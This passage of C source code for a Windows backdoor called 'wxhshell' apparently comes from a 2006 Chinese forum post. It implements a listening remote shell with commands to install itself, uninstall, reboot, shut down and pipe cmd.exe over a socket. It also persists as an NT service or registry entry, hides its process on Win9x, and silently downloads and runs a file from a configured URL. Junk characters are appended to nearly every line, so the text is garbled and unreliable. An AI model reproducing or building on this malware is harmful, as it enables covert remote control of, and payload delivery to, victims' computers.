      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hu<p?mF#  
    break;  Sa%zre@  
  } /SnynZ.q  
  // 安装 3^!Hl8P7  
  case 'i': { ?k [%\jq{a  
    if(Install()) ;*y|8od B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ao)Ck3]  
    else 'Pf_5q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?QGmoQ)  
    break; RS'} nY}  
    } ,5/V@;i  
  // 卸载 +IG1IF  
  case 'r': { ddo ST``G  
    if(Uninstall()) J#0GlK@"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u FMIY(vB  
    else *i`v~ >  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %m oJF1  
    break; 'nMApPl  
    } #;d)?  
  // 显示 wxhshell 所在路径 _)Qy4[S=d  
  case 'p': { >[a FOA  
    char svExeFile[MAX_PATH]; 9u?(^(.  
    strcpy(svExeFile,"\n\r"); jRofG'  
      strcat(svExeFile,ExeFile); 2-~a P  
        send(wsh,svExeFile,strlen(svExeFile),0); N;<//,  
    break; fCB:733H  
    } CoJ55TAW  
  // 重启 *9J1$Wa  
  case 'b': { tG/1pW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \yM-O-{  
    if(Boot(REBOOT)) prZ55MS.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Gh"ojt]w  
    else { 5^>n5u/  
    closesocket(wsh); ):krJ+-/y  
    ExitThread(0); i`+B4I8[  
    } Tj`yJ!0  
    break; gA_krK ,Z  
    } s|Zx(.EP  
  // 关机 }&1Iyb  
  case 'd': { ;+ G9-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Te;gVG*  
    if(Boot(SHUTDOWN)) ,<sm,!^<r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ivsb<qzG  
    else { a"QU:<-v  
    closesocket(wsh); H>?F8R_iq  
    ExitThread(0); =D].`  
    } 2Pp&d>E4  
    break; %w7m\nw@  
    } -u|l}}bh  
  // 获取shell >Rt9xP  
  case 's': { W (`c  
    CmdShell(wsh); IZ8y}2  
    closesocket(wsh); x5OC;OQc  
    ExitThread(0); Tr&E4e  
    break; &EovZ@u  
  } Jf)3< ~G  
  // 退出 cOkgoL" 4  
  case 'x': { /BpxKh2p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zn&k[?;Al  
    CloseIt(wsh); ^mg*;8e Ga  
    break; 9cQ_mgch  
    } 0+EN@Y^dAV  
  // 离开 `U{mbw,  
  case 'q': { :Q_x/+-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )47MFNr~>  
    closesocket(wsh); ]TSg!H  
    WSACleanup(); 1zjaR4Tf  
    exit(1); qzK("d  
    break; xhw-2dl*H  
        } WA.AFt  
  } Z^zbWFO]5  
  } ni6r{eSQ  
0@)%h&mD  
  // 提示信息 f-g1[!"F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R#(G%66   
} %6ub3PLw8  
  } 7 ({=*  
Y-p<qL|_  
  return; 7byCc_,  
} hazq#J!  
rg5]&<Vq8  
// shell模块句柄 M=y0PCD  
int CmdShell(SOCKET sock) t`G)b&3_O  
{ \M(* =5  
STARTUPINFO si; }B q^3?,#{  
ZeroMemory(&si,sizeof(si)); Yv )aAWEa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }rbZ&IN\?E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '#Dg8/r!  
PROCESS_INFORMATION ProcessInfo; A+ 0,i  
char cmdline[]="cmd"; <L2emL_'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z^W$%G  
  return 0; !e3YnlE  
} wAYB RY[  
GBP-V66  
// 自身启动模式 ZPO|<uR  
int StartFromService(void) 4nkE IZ  
{ +.Bmkim  
typedef struct B@t'U=@7  
{ ](K0Fwo`;"  
  DWORD ExitStatus; $h28(K%  
  DWORD PebBaseAddress; PlCc8Zy  
  DWORD AffinityMask; rt4Z;  
  DWORD BasePriority; sR=/%pVN  
  ULONG UniqueProcessId; Owf.f;QR  
  ULONG InheritedFromUniqueProcessId; C!%:o/  
}   PROCESS_BASIC_INFORMATION; |n6Eg9  
/_\W+^fE  
PROCNTQSIP NtQueryInformationProcess; ~ 3T,&?r  
i0pU!`0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )`HA::  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uDayBaR  
Q\kub_I{@  
  HANDLE             hProcess; zAScRg$:?  
  PROCESS_BASIC_INFORMATION pbi; !.Zt[g}  
w'ybbv{c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z=+03  
  if(NULL == hInst ) return 0; p-$Cs _{Z  
-_8*41  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w1|Hy2D`0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >SCGK_Cr2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 68t}w^=  
tRfm+hqRZ  
  if (!NtQueryInformationProcess) return 0; KN[d!}W:  
B|o%_:]+E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UG[e//m  
  if(!hProcess) return 0; F u _@!K  
B 0)]s<<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 61K"(r~  
l]#!+@  
  CloseHandle(hProcess); d"T Ht}  
 6sxz_f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \7Cg,Xn  
if(hProcess==NULL) return 0; +=3CL2{An  
n:#TOU1ix<  
HMODULE hMod; cT'w=  
char procName[255]; ", B'k  
unsigned long cbNeeded; Z(Q2Ue;}&  
K"{HseN{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <$E6oZ  
ZX.TqvK/r  
  CloseHandle(hProcess); D`o<,Y  
\54}T 4R  
if(strstr(procName,"services")) return 1; // 以服务启动 m( 47s  
d*]Ew=^L  
  return 0; // 注册表启动 Z<z;L<tJ 9  
} $H2GbZ-I  
|. C1|J'Z  
// 主模块 [*Ju3  
int StartWxhshell(LPSTR lpCmdLine) \0*l,i1&  
{ N:BL=} V  
  SOCKET wsl; TZB+lj1  
BOOL val=TRUE; /iM$Tb5  
  int port=0; clDHTj=~  
  struct sockaddr_in door; <,8l *1C  
)pgrl  
  if(wscfg.ws_autoins) Install(); (GU9p>2  
:@. ;  
port=atoi(lpCmdLine); }E&NPp>  
UQ8bN I7  
if(port<=0) port=wscfg.ws_port; e>H:/24  
-q>^ALf|@>  
  WSADATA data; 8L{u}|{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  i g71/'D  
JdNF-64ky  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~!:0iFE&H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l?E|R Kp  
  door.sin_family = AF_INET; 8b&uU [  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KS<Jv;  
  door.sin_port = htons(port); ^gR+S  
8k!6b\Imz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IB$7`7  
closesocket(wsl); {=JF=8@A  
return 1; h%}( h2 W  
} z;3NiY  
O.+9,4A(  
  if(listen(wsl,2) == INVALID_SOCKET) { tL(BpL'  
closesocket(wsl); !~ rt:Z  
return 1; LI W*4r!  
} pj{\T?(  
  Wxhshell(wsl); t&RruwN_;  
  WSACleanup(); 0!#; j{JQ  
&7[[h+Lb  
return 0; b`~wG e  
>)#c\{ c  
} FjKq%.=#  
?y%t}C\W  
// 以NT服务方式启动 AXW!]=?X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :7b-$fm  
{ c@du2ICUc  
DWORD   status = 0; ')TPF{\#  
  DWORD   specificError = 0xfffffff; wGLF%;rRe4  
0|Uc d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hnxc`VX>g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zhi})d3l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]((i?{jb(  
  serviceStatus.dwWin32ExitCode     = 0; #g v4  
  serviceStatus.dwServiceSpecificExitCode = 0; %xlpB75N4N  
  serviceStatus.dwCheckPoint       = 0; K{DAOQ.z  
  serviceStatus.dwWaitHint       = 0; x>3@R0A 1:  
}T(z4P3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;u!?QSvb  
  if (hServiceStatusHandle==0) return; b1^cD6sT+  
]0 ~qi@  
status = GetLastError(); JF9Hfs/jS  
  if (status!=NO_ERROR) optBA3@e!  
{ Ap<J'?~y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }Ik1bkK  
    serviceStatus.dwCheckPoint       = 0; Cvn$]bt/s  
    serviceStatus.dwWaitHint       = 0; vDE |sT  
    serviceStatus.dwWin32ExitCode     = status; \ P/W8{  
    serviceStatus.dwServiceSpecificExitCode = specificError; O%JSViPw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2C/%gcN >  
    return; Ci\? ^  
  } ?q$P>guH6-  
H5M#q6`H6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m,6h ee  
  serviceStatus.dwCheckPoint       = 0; ]VjLKFb~U  
  serviceStatus.dwWaitHint       = 0; A 7Y_HIo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @ss):FwA  
} jD9lz-Y@  
nQLs<]h1  
// 处理NT服务事件,比如:启动、停止 X47!E |*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (!</%^ZI  
{ 3M N  
switch(fdwControl) r+\/G{+=}  
{ p;->hn~D'5  
case SERVICE_CONTROL_STOP: #7W.s!#}Dd  
  serviceStatus.dwWin32ExitCode = 0; w}k B6o]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A*0*sZ0  
  serviceStatus.dwCheckPoint   = 0; GX38~pq  
  serviceStatus.dwWaitHint     = 0; 8 /m3+5  
  { yazZw}};  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r8v:|Q1"  
  } x0G>ktWq<  
  return; s]x2DH+_  
case SERVICE_CONTROL_PAUSE: r)B3es&&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zi1YZxF`Y  
  break; ;=p;v .l  
case SERVICE_CONTROL_CONTINUE: ^ f{qJ[,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V9{B}5KC  
  break; X;]3$\F  
case SERVICE_CONTROL_INTERROGATE: aBlbg3q  
  break; 78w4IICk  
}; SLh~_ 5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); viV-e$s`.  
} rWe 8D/oc  
0O; Z  
// 标准应用程序主函数 *vs~SzF$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S7#0*2#[o  
{ Y6;@/[_  
|"\lL9CT  
// 获取操作系统版本 ?h&l tD  
OsIsNt=GetOsVer(); qKs7WBRJy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v>k b^38  
(WMLNv  
  // 从命令行安装 8;.` {'r  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?>TbT fmR  
S41)l!+2  
  // 下载执行文件 b,vL8*  
if(wscfg.ws_downexe) { -faw:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VY{,x;O`  
  WinExec(wscfg.ws_filenam,SW_HIDE); ULrbQ}"cva  
} + 1f{_v  
:|fl?{E  
if(!OsIsNt) { KM@`YV_"g  
// 如果时win9x,隐藏进程并且设置为注册表启动 gQCC>8  
HideProc(); v/(__xN`B  
StartWxhshell(lpCmdLine); i*b4uHna  
} +}Auk|>Dc  
else y|LXDq4Wj  
  if(StartFromService()) J ZNyC!u  
  // 以服务方式启动 2}@*Ki7  
  StartServiceCtrlDispatcher(DispatchTable); cnYYs d{  
else K1 6s)S'  
  // 普通方式启动 MIJ%_=sm4:  
  StartWxhshell(lpCmdLine); i&5!9m`Cw  
|:/ @t  
return 0; *IVD/9/  
}
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只看该作者 1 发表于: 2006-10-10
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